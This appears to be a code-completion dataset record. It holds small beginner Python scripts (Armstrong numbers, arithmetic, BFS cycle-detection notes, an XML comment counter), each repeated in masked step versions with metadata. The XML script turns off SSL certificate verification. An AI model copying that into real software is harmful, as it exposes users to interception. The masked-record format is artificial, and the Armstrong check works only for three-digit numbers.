<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> while n > 0: rev = n % 10 sum += rev ** 3 n = n // 10 if cp == sum: print('the given no is amstrong ') else: print('the given no is not amstrong ') <|reserved_special_token_1|> n = int(input('enter a number')) cp = n rev = 0 sum = 0 while n > 0: rev = n % 10 sum += rev ** 3 n = n // 10 if cp == sum: print('the given no is amstrong ') else: print('the given no is not amstrong ') <|reserved_special_token_1|> n=int(input("enter a number")) cp=n rev=0 sum=0 while(n>0): rev=n%10 sum+=rev**3 n=n//10 if(cp==sum): print("the given no is amstrong ") else: print("the given no is not amstrong ")
flexible
{ "blob_id": "a8190c7c8926df18ee9439922ce8e3241e9a6140", "index": 4550, "step-1": "<mask token>\n", "step-2": "<mask token>\nwhile n > 0:\n rev = n % 10\n sum += rev ** 3\n n = n // 10\nif cp == sum:\n print('the given no is amstrong ')\nelse:\n print('the given no is not amstrong ')\n", "step-3": "n = int(input('enter a number'))\ncp = n\nrev = 0\nsum = 0\nwhile n > 0:\n rev = n % 10\n sum += rev ** 3\n n = n // 10\nif cp == sum:\n print('the given no is amstrong ')\nelse:\n print('the given no is not amstrong ')\n", "step-4": "n=int(input(\"enter a number\"))\ncp=n\nrev=0\nsum=0\nwhile(n>0):\n\trev=n%10\n\tsum+=rev**3\n\tn=n//10\nif(cp==sum):\n\tprint(\"the given no is amstrong \")\nelse:\n\tprint(\"the given no is not amstrong \")", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
num1 = 101 num2 = 20 add = num1 + num2 sub = num1 - num2 mul = num1 * num2 div = num1 / num2 mod = num1 % num2 exp = num1 ** num2 fd = num1 // num2 print(num1) print(num2) print(add) print(sub) print(mul) print(div) print(mod) print(exp) print(fd)
normal
{ "blob_id": "3ffbef142d8fb53b734567ebea874f9c59ff9a9e", "index": 1455, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(num1)\nprint(num2)\nprint(add)\nprint(sub)\nprint(mul)\nprint(div)\nprint(mod)\nprint(exp)\nprint(fd)\n", "step-3": "num1 = 101\nnum2 = 20\nadd = num1 + num2\nsub = num1 - num2\nmul = num1 * num2\ndiv = num1 / num2\nmod = num1 % num2\nexp = num1 ** num2\nfd = num1 // num2\nprint(num1)\nprint(num2)\nprint(add)\nprint(sub)\nprint(mul)\nprint(div)\nprint(mod)\nprint(exp)\nprint(fd)\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
__author__ = 'zhaobin022' class Cmd(object): pass
normal
{ "blob_id": "0eca1693caffcd9fe32a8a54ca3a33687763e5ce", "index": 6809, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Cmd(object):\n pass\n", "step-3": "__author__ = 'zhaobin022'\n\n\nclass Cmd(object):\n pass\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
<|reserved_special_token_0|> def bfs(graph, start): result = [] queue = [] seen = set() queue.append(start) seen.add(start) while len(queue): vertex = queue.pop(0) nodes = graph[vertex] for node in nodes: if node not in seen: queue.append(node) seen.add(node) result.append(vertex) return result <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def get_all_edge(graph): result = [] for k, v in graph.items(): for i in v: if sorted((k, i)) not in result: result.append(sorted((k, i))) return result def bfs(graph, start): result = [] queue = [] seen = set() queue.append(start) seen.add(start) while len(queue): vertex = queue.pop(0) nodes = graph[vertex] for node in nodes: if node not in seen: queue.append(node) seen.add(node) result.append(vertex) return result <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def get_all_edge(graph): result = [] for k, v in graph.items(): for i in v: if sorted((k, i)) not in result: result.append(sorted((k, i))) return result def bfs(graph, start): result = [] queue = [] seen = set() queue.append(start) seen.add(start) while len(queue): vertex = queue.pop(0) nodes = graph[vertex] for node in nodes: if node not in seen: queue.append(node) seen.add(node) result.append(vertex) return result if __name__ == '__main__': graph = {'0': ['1'], '1': ['0', '2', '3'], '2': ['1', '4', '5'], '3': [ '1', '4'], '4': ['2', '3'], '5': ['2']} all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) """ ['0', '1', '2', '3', '4', '5'] [['1', '3'], ['3', '4'], ['2', '5'], ['1', '2'], ['0', '1'], ['2', '4']] ['1', '3'] disjoint set 1, 3 ['3', '4'] -> 一个点在集合中,另一个不在集合中 disjoint set 1, 3, 4 ['2', '5'] -> 两个点都不在同一集合中 disjoint set 1 1, 3, 4 disjoint set 2 2, 5 ['1', '2'] -> 两个点分别在不同的集合中,合并集合 disjoint set 1, 3, 4, 2, 5 ['0', '1'] -> 一个点在集合中,另一个不在集合中 disjoint set 1, 3, 4, 2, 5, 0 ['2', '4'] -> 两个点都在同一个集合中,说明有环 """ graph = {'0': ['1'], '1': ['0', '2', '3'], '2': ['1', '5'], '3': ['1', '4'], '4': ['3'], '5': ['2']} all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) """ [['3', '4'], ['1', '3'], ['0', '1'], ['1', '2'], ['2', '5']] ['0', '1', '2', '3', '5', '4'] ['3', '4'] disjoint set 3, 4 ['1', '3'] disjoint set 3, 4, 1 ['0', '1'] disjoint set 3, 4, 1, 0 ['1', '2'] disjoint set 3, 4, 1, 0, 2 ['2', '5'] disjoint set 3, 4, 1, 0, 2, 5 图中无环 """ graph = {'0': ['1'], '1': ['0', '2'], '2': ['1', '3'], '3': ['2']} all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) """ [['2', '3'], ['0', '1'], ['1', '2']] ['0', '1', '2', '3'] ['2', '3'] disjoint set 2, 3 ['0', '1'] disjoint set1 2, 3 disjoint set2 0, 1 ['1', '2'] disjoint set 0, 1, 2, 3 链表中无环 """ graph = {'0': ['1'], '1': ['0', '2'], '2': ['1', '3'], '3': ['2', '4', '6'], '4': ['3', '5'], '5': ['4', '6'], '6': ['3', '5']} all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) """ [['2', '3'], ['5', '6'], ['3', '4'], ['0', '1'], ['1', '2'], ['3', '6'], ['4', '5']] ['0', '1', '2', '3', '4', '6', '5'] ['2', '3'] disjoint set 2, 3 ['5', '6'] disjoint set1 2, 3 disjoint set2 5, 6 ['3', '4'] disjoint set1 2, 3, 4 disjoint set2 5, 6 ['0', '1'] disjoint set1 2, 3, 4 disjoint set2 5, 6 disjoint set3 0, 1 ['1', '2'] disjoint set1 2, 3, 4, 1, 0 disjoint set2 5, 6 ['3', '6'] disjoint set 2, 3, 4, 1, 0, 5, 6 ['4', '5'] 链表中有环 """ <|reserved_special_token_1|> import random <|reserved_special_token_0|> def get_all_edge(graph): result = [] for k, v in graph.items(): for i in v: if sorted((k, i)) not in result: result.append(sorted((k, i))) return result def bfs(graph, start): result = [] queue = [] seen = set() queue.append(start) seen.add(start) while len(queue): vertex = queue.pop(0) nodes = graph[vertex] for node in nodes: if node not in seen: queue.append(node) seen.add(node) result.append(vertex) return result if __name__ == '__main__': graph = {'0': ['1'], '1': ['0', '2', '3'], '2': ['1', '4', '5'], '3': [ '1', '4'], '4': ['2', '3'], '5': ['2']} all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) """ ['0', '1', '2', '3', '4', '5'] [['1', '3'], ['3', '4'], ['2', '5'], ['1', '2'], ['0', '1'], ['2', '4']] ['1', '3'] disjoint set 1, 3 ['3', '4'] -> 一个点在集合中,另一个不在集合中 disjoint set 1, 3, 4 ['2', '5'] -> 两个点都不在同一集合中 disjoint set 1 1, 3, 4 disjoint set 2 2, 5 ['1', '2'] -> 两个点分别在不同的集合中,合并集合 disjoint set 1, 3, 4, 2, 5 ['0', '1'] -> 一个点在集合中,另一个不在集合中 disjoint set 1, 3, 4, 2, 5, 0 ['2', '4'] -> 两个点都在同一个集合中,说明有环 """ graph = {'0': ['1'], '1': ['0', '2', '3'], '2': ['1', '5'], '3': ['1', '4'], '4': ['3'], '5': ['2']} all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) """ [['3', '4'], ['1', '3'], ['0', '1'], ['1', '2'], ['2', '5']] ['0', '1', '2', '3', '5', '4'] ['3', '4'] disjoint set 3, 4 ['1', '3'] disjoint set 3, 4, 1 ['0', '1'] disjoint set 3, 4, 1, 0 ['1', '2'] disjoint set 3, 4, 1, 0, 2 ['2', '5'] disjoint set 3, 4, 1, 0, 2, 5 图中无环 """ graph = {'0': ['1'], '1': ['0', '2'], '2': ['1', '3'], '3': ['2']} all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) """ [['2', '3'], ['0', '1'], ['1', '2']] ['0', '1', '2', '3'] ['2', '3'] disjoint set 2, 3 ['0', '1'] disjoint set1 2, 3 disjoint set2 0, 1 ['1', '2'] disjoint set 0, 1, 2, 3 链表中无环 """ graph = {'0': ['1'], '1': ['0', '2'], '2': ['1', '3'], '3': ['2', '4', '6'], '4': ['3', '5'], '5': ['4', '6'], '6': ['3', '5']} all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) """ [['2', '3'], ['5', '6'], ['3', '4'], ['0', '1'], ['1', '2'], ['3', '6'], ['4', '5']] ['0', '1', '2', '3', '4', '6', '5'] ['2', '3'] disjoint set 2, 3 ['5', '6'] disjoint set1 2, 3 disjoint set2 5, 6 ['3', '4'] disjoint set1 2, 3, 4 disjoint set2 5, 6 ['0', '1'] disjoint set1 2, 3, 4 disjoint set2 5, 6 disjoint set3 0, 1 ['1', '2'] disjoint set1 2, 3, 4, 1, 0 disjoint set2 5, 6 ['3', '6'] disjoint set 2, 3, 4, 1, 0, 5, 6 ['4', '5'] 链表中有环 """ <|reserved_special_token_1|> #!/usr/bin/env python3 # -*- coding: utf-8 -*- import random """ 检查图数据和结构或者链表数据结构中是否存在环 https://www.youtube.com/watch?v=YKE4Vd1ysPI """ def get_all_edge(graph): result = [] for k, v in graph.items(): for i in v: if sorted((k, i)) not in result: result.append(sorted((k, i))) return result def bfs(graph, start): result = [] queue = [] seen = set() queue.append(start) seen.add(start) while len(queue): vertex = queue.pop(0) nodes = graph[vertex] for node in nodes: if node not in seen: queue.append(node) seen.add(node) result.append(vertex) return result if __name__ == '__main__': graph = { '0': ['1'], '1': ['0', '2', '3'], '2': ['1', '4', '5'], '3': ['1', '4'], '4': ['2', '3'], '5': ['2'], } all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) # ['0', '1', '2', '3', '4', '5'] """ ['0', '1', '2', '3', '4', '5'] [['1', '3'], ['3', '4'], ['2', '5'], ['1', '2'], ['0', '1'], ['2', '4']] ['1', '3'] disjoint set 1, 3 ['3', '4'] -> 一个点在集合中,另一个不在集合中 disjoint set 1, 3, 4 ['2', '5'] -> 两个点都不在同一集合中 disjoint set 1 1, 3, 4 disjoint set 2 2, 5 ['1', '2'] -> 两个点分别在不同的集合中,合并集合 disjoint set 1, 3, 4, 2, 5 ['0', '1'] -> 一个点在集合中,另一个不在集合中 disjoint set 1, 3, 4, 2, 5, 0 ['2', '4'] -> 两个点都在同一个集合中,说明有环 """ graph = { '0': ['1'], '1': ['0', '2', '3'], '2': ['1', '5'], '3': ['1', '4'], '4': ['3'], '5': ['2'], } all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) # ['0', '1', '2', '3', '4', '5'] """ [['3', '4'], ['1', '3'], ['0', '1'], ['1', '2'], ['2', '5']] ['0', '1', '2', '3', '5', '4'] ['3', '4'] disjoint set 3, 4 ['1', '3'] disjoint set 3, 4, 1 ['0', '1'] disjoint set 3, 4, 1, 0 ['1', '2'] disjoint set 3, 4, 1, 0, 2 ['2', '5'] disjoint set 3, 4, 1, 0, 2, 5 图中无环 """ graph = { '0': ['1'], '1': ['0', '2'], '2': ['1', '3'], '3': ['2'] } all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) """ [['2', '3'], ['0', '1'], ['1', '2']] ['0', '1', '2', '3'] ['2', '3'] disjoint set 2, 3 ['0', '1'] disjoint set1 2, 3 disjoint set2 0, 1 ['1', '2'] disjoint set 0, 1, 2, 3 链表中无环 """ graph = { '0': ['1'], '1': ['0', '2'], '2': ['1', '3'], '3': ['2', '4', '6'], '4': ['3', '5'], '5': ['4', '6'], '6': ['3', '5'] } all_edge = get_all_edge(graph) random.shuffle(all_edge) print(all_edge) print(bfs(graph, '0')) """ [['2', '3'], ['5', '6'], ['3', '4'], ['0', '1'], ['1', '2'], ['3', '6'], ['4', '5']] ['0', '1', '2', '3', '4', '6', '5'] ['2', '3'] disjoint set 2, 3 ['5', '6'] disjoint set1 2, 3 disjoint set2 5, 6 ['3', '4'] disjoint set1 2, 3, 4 disjoint set2 5, 6 ['0', '1'] disjoint set1 2, 3, 4 disjoint set2 5, 6 disjoint set3 0, 1 ['1', '2'] disjoint set1 2, 3, 4, 1, 0 disjoint set2 5, 6 ['3', '6'] disjoint set 2, 3, 4, 1, 0, 5, 6 ['4', '5'] 链表中有环 """
flexible
{ "blob_id": "371762a6e3f8b8ed14742a70a709da224ae6712b", "index": 305, "step-1": "<mask token>\n\n\ndef bfs(graph, start):\n result = []\n queue = []\n seen = set()\n queue.append(start)\n seen.add(start)\n while len(queue):\n vertex = queue.pop(0)\n nodes = graph[vertex]\n for node in nodes:\n if node not in seen:\n queue.append(node)\n seen.add(node)\n result.append(vertex)\n return result\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef get_all_edge(graph):\n result = []\n for k, v in graph.items():\n for i in v:\n if sorted((k, i)) not in result:\n result.append(sorted((k, i)))\n return result\n\n\ndef bfs(graph, start):\n result = []\n queue = []\n seen = set()\n queue.append(start)\n seen.add(start)\n while len(queue):\n vertex = queue.pop(0)\n nodes = graph[vertex]\n for node in nodes:\n if node not in seen:\n queue.append(node)\n seen.add(node)\n result.append(vertex)\n return result\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef get_all_edge(graph):\n result = []\n for k, v in graph.items():\n for i in v:\n if sorted((k, i)) not in result:\n result.append(sorted((k, i)))\n return result\n\n\ndef bfs(graph, start):\n result = []\n queue = []\n seen = set()\n queue.append(start)\n seen.add(start)\n while len(queue):\n vertex = queue.pop(0)\n nodes = graph[vertex]\n for node in nodes:\n if node not in seen:\n queue.append(node)\n seen.add(node)\n result.append(vertex)\n return result\n\n\nif __name__ == '__main__':\n graph = {'0': ['1'], '1': ['0', '2', '3'], '2': ['1', '4', '5'], '3': [\n '1', '4'], '4': ['2', '3'], '5': ['2']}\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0'))\n \"\"\"\n ['0', '1', '2', '3', '4', '5']\n [['1', '3'], ['3', '4'], ['2', '5'], ['1', '2'], ['0', '1'], ['2', '4']]\n \n ['1', '3']\n disjoint set\n 1, 3\n \n ['3', '4'] -> 一个点在集合中,另一个不在集合中\n disjoint set\n 1, 3, 4\n \n ['2', '5'] -> 两个点都不在同一集合中\n disjoint set 1\n 1, 3, 4\n disjoint set 2\n 2, 5\n \n ['1', '2'] -> 两个点分别在不同的集合中,合并集合\n disjoint set\n 1, 3, 4, 2, 5\n \n ['0', '1'] -> 一个点在集合中,另一个不在集合中\n disjoint set\n 1, 3, 4, 2, 5, 0\n \n ['2', '4'] -> 两个点都在同一个集合中,说明有环\n \n \"\"\"\n graph = {'0': ['1'], '1': ['0', '2', '3'], '2': ['1', '5'], '3': ['1',\n '4'], '4': ['3'], '5': ['2']}\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0'))\n \"\"\"\n [['3', '4'], ['1', '3'], ['0', '1'], ['1', '2'], ['2', '5']]\n ['0', '1', '2', '3', '5', '4']\n \n ['3', '4']\n disjoint set\n 3, 4\n \n ['1', '3']\n disjoint set\n 3, 4, 1\n \n ['0', '1']\n disjoint set\n 3, 4, 1, 0\n \n ['1', '2']\n disjoint set\n 3, 4, 1, 0, 2\n \n ['2', '5']\n disjoint set\n 3, 4, 1, 0, 2, 5\n \n 图中无环\n \n \"\"\"\n graph = {'0': ['1'], '1': ['0', '2'], '2': ['1', '3'], '3': ['2']}\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0'))\n \"\"\"\n [['2', '3'], ['0', '1'], ['1', '2']]\n ['0', '1', '2', '3']\n \n ['2', '3']\n disjoint set\n 2, 3\n \n ['0', '1']\n disjoint set1\n 2, 3\n disjoint set2\n 0, 1\n \n ['1', '2']\n disjoint set\n 0, 1, 2, 3\n \n 链表中无环\n\n \"\"\"\n graph = {'0': ['1'], '1': ['0', '2'], '2': ['1', '3'], '3': ['2', '4',\n '6'], '4': ['3', '5'], '5': ['4', '6'], '6': ['3', '5']}\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0'))\n \"\"\"\n [['2', '3'], ['5', '6'], ['3', '4'], ['0', '1'], ['1', '2'], ['3', '6'], ['4', '5']]\n ['0', '1', '2', '3', '4', '6', '5']\n \n ['2', '3']\n disjoint set\n 2, 3\n \n ['5', '6']\n disjoint set1\n 2, 3\n disjoint set2\n 5, 6\n \n ['3', '4']\n disjoint set1\n 2, 3, 4\n disjoint set2\n 5, 6\n \n ['0', '1']\n disjoint set1\n 2, 3, 4\n disjoint set2\n 5, 6\n disjoint set3\n 0, 1\n \n ['1', '2']\n disjoint set1\n 2, 3, 4, 1, 0\n disjoint set2\n 5, 6\n \n ['3', '6']\n disjoint set\n 2, 3, 4, 1, 0, 5, 6\n \n ['4', '5'] 链表中有环\n\n \"\"\"\n", "step-4": "import random\n<mask token>\n\n\ndef get_all_edge(graph):\n result = []\n for k, v in graph.items():\n for i in v:\n if sorted((k, i)) not in result:\n result.append(sorted((k, i)))\n return result\n\n\ndef bfs(graph, start):\n result = []\n queue = []\n seen = set()\n queue.append(start)\n seen.add(start)\n while len(queue):\n vertex = queue.pop(0)\n nodes = graph[vertex]\n for node in nodes:\n if node not in seen:\n queue.append(node)\n seen.add(node)\n result.append(vertex)\n return result\n\n\nif __name__ == '__main__':\n graph = {'0': ['1'], '1': ['0', '2', '3'], '2': ['1', '4', '5'], '3': [\n '1', '4'], '4': ['2', '3'], '5': ['2']}\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0'))\n \"\"\"\n ['0', '1', '2', '3', '4', '5']\n [['1', '3'], ['3', '4'], ['2', '5'], ['1', '2'], ['0', '1'], ['2', '4']]\n \n ['1', '3']\n disjoint set\n 1, 3\n \n ['3', '4'] -> 一个点在集合中,另一个不在集合中\n disjoint set\n 1, 3, 4\n \n ['2', '5'] -> 两个点都不在同一集合中\n disjoint set 1\n 1, 3, 4\n disjoint set 2\n 2, 5\n \n ['1', '2'] -> 两个点分别在不同的集合中,合并集合\n disjoint set\n 1, 3, 4, 2, 5\n \n ['0', '1'] -> 一个点在集合中,另一个不在集合中\n disjoint set\n 1, 3, 4, 2, 5, 0\n \n ['2', '4'] -> 两个点都在同一个集合中,说明有环\n \n \"\"\"\n graph = {'0': ['1'], '1': ['0', '2', '3'], '2': ['1', '5'], '3': ['1',\n '4'], '4': ['3'], '5': ['2']}\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0'))\n \"\"\"\n [['3', '4'], ['1', '3'], ['0', '1'], ['1', '2'], ['2', '5']]\n ['0', '1', '2', '3', '5', '4']\n \n ['3', '4']\n disjoint set\n 3, 4\n \n ['1', '3']\n disjoint set\n 3, 4, 1\n \n ['0', '1']\n disjoint set\n 3, 4, 1, 0\n \n ['1', '2']\n disjoint set\n 3, 4, 1, 0, 2\n \n ['2', '5']\n disjoint set\n 3, 4, 1, 0, 2, 5\n \n 图中无环\n \n \"\"\"\n graph = {'0': ['1'], '1': ['0', '2'], '2': ['1', '3'], '3': ['2']}\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0'))\n \"\"\"\n [['2', '3'], ['0', '1'], ['1', '2']]\n ['0', '1', '2', '3']\n \n ['2', '3']\n disjoint set\n 2, 3\n \n ['0', '1']\n disjoint set1\n 2, 3\n disjoint set2\n 0, 1\n \n ['1', '2']\n disjoint set\n 0, 1, 2, 3\n \n 链表中无环\n\n \"\"\"\n graph = {'0': ['1'], '1': ['0', '2'], '2': ['1', '3'], '3': ['2', '4',\n '6'], '4': ['3', '5'], '5': ['4', '6'], '6': ['3', '5']}\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0'))\n \"\"\"\n [['2', '3'], ['5', '6'], ['3', '4'], ['0', '1'], ['1', '2'], ['3', '6'], ['4', '5']]\n ['0', '1', '2', '3', '4', '6', '5']\n \n ['2', '3']\n disjoint set\n 2, 3\n \n ['5', '6']\n disjoint set1\n 2, 3\n disjoint set2\n 5, 6\n \n ['3', '4']\n disjoint set1\n 2, 3, 4\n disjoint set2\n 5, 6\n \n ['0', '1']\n disjoint set1\n 2, 3, 4\n disjoint set2\n 5, 6\n disjoint set3\n 0, 1\n \n ['1', '2']\n disjoint set1\n 2, 3, 4, 1, 0\n disjoint set2\n 5, 6\n \n ['3', '6']\n disjoint set\n 2, 3, 4, 1, 0, 5, 6\n \n ['4', '5'] 链表中有环\n\n \"\"\"\n", "step-5": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport random\n\n\"\"\"\n检查图数据和结构或者链表数据结构中是否存在环\n\nhttps://www.youtube.com/watch?v=YKE4Vd1ysPI\n\n\"\"\"\n\n\ndef get_all_edge(graph):\n result = []\n for k, v in graph.items():\n for i in v:\n if sorted((k, i)) not in result:\n result.append(sorted((k, i)))\n return result\n\n\ndef bfs(graph, start):\n result = []\n queue = []\n seen = set()\n queue.append(start)\n seen.add(start)\n while len(queue):\n vertex = queue.pop(0)\n nodes = graph[vertex]\n for node in nodes:\n if node not in seen:\n queue.append(node)\n seen.add(node)\n result.append(vertex)\n return result\n\n\nif __name__ == '__main__':\n graph = {\n '0': ['1'],\n '1': ['0', '2', '3'],\n '2': ['1', '4', '5'],\n '3': ['1', '4'],\n '4': ['2', '3'],\n '5': ['2'],\n }\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0')) # ['0', '1', '2', '3', '4', '5']\n \"\"\"\n ['0', '1', '2', '3', '4', '5']\n [['1', '3'], ['3', '4'], ['2', '5'], ['1', '2'], ['0', '1'], ['2', '4']]\n \n ['1', '3']\n disjoint set\n 1, 3\n \n ['3', '4'] -> 一个点在集合中,另一个不在集合中\n disjoint set\n 1, 3, 4\n \n ['2', '5'] -> 两个点都不在同一集合中\n disjoint set 1\n 1, 3, 4\n disjoint set 2\n 2, 5\n \n ['1', '2'] -> 两个点分别在不同的集合中,合并集合\n disjoint set\n 1, 3, 4, 2, 5\n \n ['0', '1'] -> 一个点在集合中,另一个不在集合中\n disjoint set\n 1, 3, 4, 2, 5, 0\n \n ['2', '4'] -> 两个点都在同一个集合中,说明有环\n \n \"\"\"\n\n graph = {\n '0': ['1'],\n '1': ['0', '2', '3'],\n '2': ['1', '5'],\n '3': ['1', '4'],\n '4': ['3'],\n '5': ['2'],\n }\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0')) # ['0', '1', '2', '3', '4', '5']\n \"\"\"\n [['3', '4'], ['1', '3'], ['0', '1'], ['1', '2'], ['2', '5']]\n ['0', '1', '2', '3', '5', '4']\n \n ['3', '4']\n disjoint set\n 3, 4\n \n ['1', '3']\n disjoint set\n 3, 4, 1\n \n ['0', '1']\n disjoint set\n 3, 4, 1, 0\n \n ['1', '2']\n disjoint set\n 3, 4, 1, 0, 2\n \n ['2', '5']\n disjoint set\n 3, 4, 1, 0, 2, 5\n \n 图中无环\n \n \"\"\"\n\n graph = {\n '0': ['1'],\n '1': ['0', '2'],\n '2': ['1', '3'],\n '3': ['2']\n }\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0'))\n \"\"\"\n [['2', '3'], ['0', '1'], ['1', '2']]\n ['0', '1', '2', '3']\n \n ['2', '3']\n disjoint set\n 2, 3\n \n ['0', '1']\n disjoint set1\n 2, 3\n disjoint set2\n 0, 1\n \n ['1', '2']\n disjoint set\n 0, 1, 2, 3\n \n 链表中无环\n\n \"\"\"\n\n graph = {\n '0': ['1'],\n '1': ['0', '2'],\n '2': ['1', '3'],\n '3': ['2', '4', '6'],\n '4': ['3', '5'],\n '5': ['4', '6'],\n '6': ['3', '5']\n }\n all_edge = get_all_edge(graph)\n random.shuffle(all_edge)\n print(all_edge)\n print(bfs(graph, '0'))\n \"\"\"\n [['2', '3'], ['5', '6'], ['3', '4'], ['0', '1'], ['1', '2'], ['3', '6'], ['4', '5']]\n ['0', '1', '2', '3', '4', '6', '5']\n \n ['2', '3']\n disjoint set\n 2, 3\n \n ['5', '6']\n disjoint set1\n 2, 3\n disjoint set2\n 5, 6\n \n ['3', '4']\n disjoint set1\n 2, 3, 4\n disjoint set2\n 5, 6\n \n ['0', '1']\n disjoint set1\n 2, 3, 4\n disjoint set2\n 5, 6\n disjoint set3\n 0, 1\n \n ['1', '2']\n disjoint set1\n 2, 3, 4, 1, 0\n disjoint set2\n 5, 6\n \n ['3', '6']\n disjoint set\n 2, 3, 4, 1, 0, 5, 6\n \n ['4', '5'] 链表中有环\n\n \"\"\"\n", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
import urllib.request, urllib.parse, urllib.error from urllib.request import urlopen import xml.etree.ElementTree as ET import ssl # # Ignore SSL certificate errors ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE url = input('Enter a URL: ') # if len(url) < 1 : url = 'http://py4e-data.dr-chuck.net/comments_42.xml' if len(url) < 1 : url = 'http://py4e-data.dr-chuck.net/comments_70857.xml' # uh = urllib.request.urlopen(url) # data = uh.read() # print('Retrieved', len(data), 'characters') # print(data.decode()) xml = urlopen(url, context=ctx).read() print(len(xml)) stuff = ET.fromstring(xml) lst = stuff.findall('comments/comment') print('Comment count:', len(lst)) tot = 0 # counts = stuff.findall('.//count') # print(counts) for item in lst: # print('Name', item.find('name').text) # print('Count', item.find('count').text) x = int(item.find('count').text) tot = tot + x print(tot)
normal
{ "blob_id": "3b8c4f19e28e54e651862ec9b88b091c9faff02b", "index": 9525, "step-1": "<mask token>\n", "step-2": "<mask token>\nif len(url) < 1:\n url = 'http://py4e-data.dr-chuck.net/comments_70857.xml'\n<mask token>\nprint(len(xml))\n<mask token>\nprint('Comment count:', len(lst))\n<mask token>\nfor item in lst:\n x = int(item.find('count').text)\n tot = tot + x\nprint(tot)\n", "step-3": "<mask token>\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\nurl = input('Enter a URL: ')\nif len(url) < 1:\n url = 'http://py4e-data.dr-chuck.net/comments_70857.xml'\nxml = urlopen(url, context=ctx).read()\nprint(len(xml))\nstuff = ET.fromstring(xml)\nlst = stuff.findall('comments/comment')\nprint('Comment count:', len(lst))\ntot = 0\nfor item in lst:\n x = int(item.find('count').text)\n tot = tot + x\nprint(tot)\n", "step-4": "import urllib.request, urllib.parse, urllib.error\nfrom urllib.request import urlopen\nimport xml.etree.ElementTree as ET\nimport ssl\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\nurl = input('Enter a URL: ')\nif len(url) < 1:\n url = 'http://py4e-data.dr-chuck.net/comments_70857.xml'\nxml = urlopen(url, context=ctx).read()\nprint(len(xml))\nstuff = ET.fromstring(xml)\nlst = stuff.findall('comments/comment')\nprint('Comment count:', len(lst))\ntot = 0\nfor item in lst:\n x = int(item.find('count').text)\n tot = tot + x\nprint(tot)\n", "step-5": "import urllib.request, urllib.parse, urllib.error\nfrom urllib.request import urlopen\nimport xml.etree.ElementTree as ET\nimport ssl \n\n# # Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nurl = input('Enter a URL: ')\n# if len(url) < 1 : url = 'http://py4e-data.dr-chuck.net/comments_42.xml'\nif len(url) < 1 : url = 'http://py4e-data.dr-chuck.net/comments_70857.xml'\n# uh = urllib.request.urlopen(url)\n# data = uh.read()\n# print('Retrieved', len(data), 'characters')\n # print(data.decode())\nxml = urlopen(url, context=ctx).read()\nprint(len(xml))\n\nstuff = ET.fromstring(xml)\nlst = stuff.findall('comments/comment')\nprint('Comment count:', len(lst))\n\ntot = 0\n# counts = stuff.findall('.//count')\n# print(counts)\nfor item in lst:\n # print('Name', item.find('name').text)\n # print('Count', item.find('count').text)\n x = int(item.find('count').text)\n tot = tot + x\n \nprint(tot)\n\n\n\n\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
